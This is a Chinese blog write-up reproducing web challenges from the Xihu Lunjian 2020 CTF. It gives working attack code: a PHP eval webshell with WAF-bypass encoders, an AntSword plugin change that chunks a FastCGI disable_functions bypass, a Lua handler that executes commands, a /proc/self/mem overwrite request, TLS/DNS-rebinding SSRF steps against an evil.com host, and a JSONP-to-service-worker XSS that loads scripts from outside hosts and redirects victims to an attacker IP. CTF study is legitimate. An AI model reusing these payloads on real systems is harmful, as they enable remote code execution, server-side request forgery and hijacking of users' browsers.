西湖论剑2020复现

呜呜

newupload

绕过waf:

最后上传的为%<?php eval(substr($_POST[‘x’],1));然后只需每个参数第一个字符多加一个百分号即可绕过waf

或者3次url编码也可绕过waf,于是可以新建一个编码器

/**
 * php::base64编码器
 * Create at: 2020/10/14 00:12:57
 */

'use strict';

/*
* @param  {String} pwd   连接密码
* @param  {Array}  data  编码器处理前的 payload 数组
* @return {Array}  data  编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
  // ##########    请在下方编写你自己的代码   ###################
  // 以下代码为 PHP Base64 样例

  data[pwd] = Buffer.from(Buffer.from(Buffer.from(data['_']).toString('base64')).toString('base64')).toString('base64');
  // ##########    请在上方编写你自己的代码   ###################

  // 删除 _ 原有的payload
  delete data['_'];
  // 返回编码器处理后的 payload 数组
  return data;
}

打fastcgi

蚁剑插件

发现插件8行,因为payload太j8长了,长度10000多,所以直接手动升级一下插件,修改到一个包3000长度,放入不同的文件

//吐槽一下,不知道为啥,复现的靶机网络老是出现no response,即使3000长度一个包最后能不能打成功也要看人品,建议直接send to repeater暴打

//payload太长被拦截,分成3000长度一个包,写入不同的文件
        var parts = payload.match(/.{1,3000}/isg) || [];
        // console.log(payload.length);
        console.log(parts);
        var mypart="";
        for (let i=0;i<parts.length;i++){
        mypart=`file_put_contents("payload_${i}",'${parts[i].replace(/'/g,"\\\'").replace(/\\\\'/g,"\\\\\\'")}');`; //这里调了好久,我淦
        console.log(mypart);
        core.request({
          _:mypart
        }).then((response) => {
        }).catch((err) => {
          // 超时也是正常
        })
        }
        var final_payload="$a='';";
        for (let i=0;i<parts.length;i++){
          final_payload+=`$a.=file_get_contents('payload_${i}');`;
        }
        final_payload+=";eval($a);";
        console.log(final_payload);
        core.request({
          // _: payload,
          _:final_payload
        }).then((response) => {
        }).catch((err) => {
        })

https://github.com/chuochuodragon/as_bypass_php_disable_functions

后来发现payload太长的话还可以用p大写的脚本

https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

lua脚本

require "string"
function handle(r)
    r.content_type = "text/plain"
    if r.method == 'GET' then
        local a = io.popen('/readflag')
        local b = a:read("*all")
        r:puts(b)
    end
    return apache2.OK
end
<Files "*.lua">
	SetHandler lua-script
</Files>

flagshop

dump libc和php5二进制文件,分别找到system和open的偏移,然后在/proc/mem/self里Open偏移的位置写入system的地址(偏移+libc基址)

GET /sandbox/4db07ec8-bb0f-443b-b375-9d5415573b50/backend.php?readfile=/./readflag>/tmp/fuck&offset=15333784&buffer=%90%65%f8%f5%ff%7f&writefile=/proc/self/mem

HelloDiscuzQ

DNS TTL

  • DNS记录在DNS服务器上缓存的时间

TLS握手

https://xz.aliyun.com/t/1039#toc-2

    Client                                               Server

      ClientHello                  -------->
                                                      ServerHello
                                                     Certificate*
                                               ServerKeyExchange*
                                              CertificateRequest*
                                   <--------      ServerHelloDone
      Certificate*
      ClientKeyExchange
      CertificateVerify*
      [ChangeCipherSpec]
      Finished                     -------->
                                               [ChangeCipherSpec]
                                   <--------             Finished
      Application Data             <------->     Application Data

TLS+dns rebinding进行ssrf原理

  1. 被攻击服务器访问evil.com:11211,首先进行dns请求,dns返回正常的ip地址,ttl=0
  2. 被攻击服务器发送client hello
  3. evil.com返回Server Hello,并在包中设置payload(session id等)
  4. tls握手完成后,http服务器返回301,跳转到evil.com:11211
  5. 因为ttl=0,再次发送dns请求,这次返回ip地址为127.0.0.1
  6. 因为被攻击服务器使用TLS会话重用的优化算法,缓存了session id等payload,于是被攻击服务器带着payload访问127.0.0.1:11211

A+AAAA

ipv4转ipv6

https://www.ultratools.com/tools/ipv4toipv6Result?address=104.238.183.129 (还是走的ipv4)

题解

ssrf

准备恶意的tls服务器

freessl申请一个证书

hardxss

登录界面有一个jsonp,callback处有xss

service worker

https://lightless.me/archives/XSS-With-Service-Worker.html

特性

  • 无法直接访问DOM
  • 可以简单的理解为是一个代理,可以拦截网络请求,修改返回内容等。
  • 只能在 localhost 和 HTTPS 网站上使用。

仅有一个sw脚本还不行,要注册到浏览器上

navigator.serviceWorker.register('./sw.js', { scope: './' })

  • scope是指sw可以控制的范围,要求是要小于脚本本身所在的范围
  • scriptURL指第一个’./sw.js’,要求必须同域且使用https

这里会产生2个问题

  • 怎么从我们自己的vps上引入恶意的sw.js?
    • 利用jsonp的callback函数
    • ?callback=importScripts('https://xxx/sw.js');
  • sw.js怎么跨子域名控制页面,比如在http://xss.xxxxxx/?callback="c.ccdragon.cc/a.js"获取http://auth.xxxxxx/login上的请求
    • 通过新建iframe和设置document.domain来使iframe和父body的js可以实现不同的子域名之间的互通。
  • 设置document.domain=http://xxxxxx
  • 创建iframe并把src设置为https://auth.xxxxxx/
  • 然后在iframe中执行注册service worker的js即可

题解

入口脚本:a.js

document.domain="hardxss.xhlj.wetolink.com";
var iframe = document.createElement('iframe');
iframe.src="https://auth.hardxss.xhlj.wetolink.com/";
iframe.addEventListener("load", function(){ loadover(); });
document.body.appendChild(iframe);
function loadover(){
    s = `navigator.serviceWorker.register("/api/loginStatus?callback=self.importScripts('//xsspt.com/NKcif0')//")`;
iframe.contentWindow.eval(s);
}

sw.js

self.addEventListener('install', function(event) {
        console.log('install ok!');
});
self.addEventListener('fetch', function (event) {
        console.log(event.request);
        event.respondWith(
        caches.match(event.request).then(function(res){
        return requestBackend(event);
        })
        )
   });
function requestBackend(event){
        var url = event.request.clone();
        console.log(url);
        return new Response("<script>location='http://120.78.137.107:12333/'+location.search;</script>", {headers: { 'Content-Type': 'text/html' }})
}

把sw.js放到服务器上,然后在callback处?callback=jsonp(atob(a));//&a=ZG9jdW1lbnQuZG9tYWluPSJoYXJkeHNzLnhobGoud2V0b2xpbmsuY29tIjsKdmFyIGlmcmFtZSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2lmcmFtZScpOwppZnJhbWUuc3JjPSJodHRwczovL2F1dGguaGFyZHhzcy54aGxqLndldG9saW5rLmNvbS8iOwppZnJhbWUuYWRkRXZlbnRMaXN0ZW5lcigibG9hZCIsIGZ1bmN0aW9uKCl7IGxvYWRvdmVyKCk7IH0pOwpkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGlmcmFtZSk7CmZ1bmN0aW9uIGxvYWRvdmVyKCl7CiAgICBzID0gYG5hdmlnYXRvci5zZXJ2aWNlV29ya2VyLnJlZ2lzdGVyKCIvYXBpL2xvZ2luU3RhdHVzP2NhbGxiYWNrPXNlbGYuaW1wb3J0U2NyaXB0cygnLy9jLmNjZHJhZ29uLmNjL3N3LmpzJykvLyIpYDsKaWZyYW1lLmNvbnRlbnRXaW5kb3cuZXZhbChzKTsKfQ==即可

发现需要https

傻逼阿里云 域名没备案不给用

没办法,就放在xsspt里好了

登录即可得到flag

发表评论

邮箱地址不会被公开。 必填项已用*标注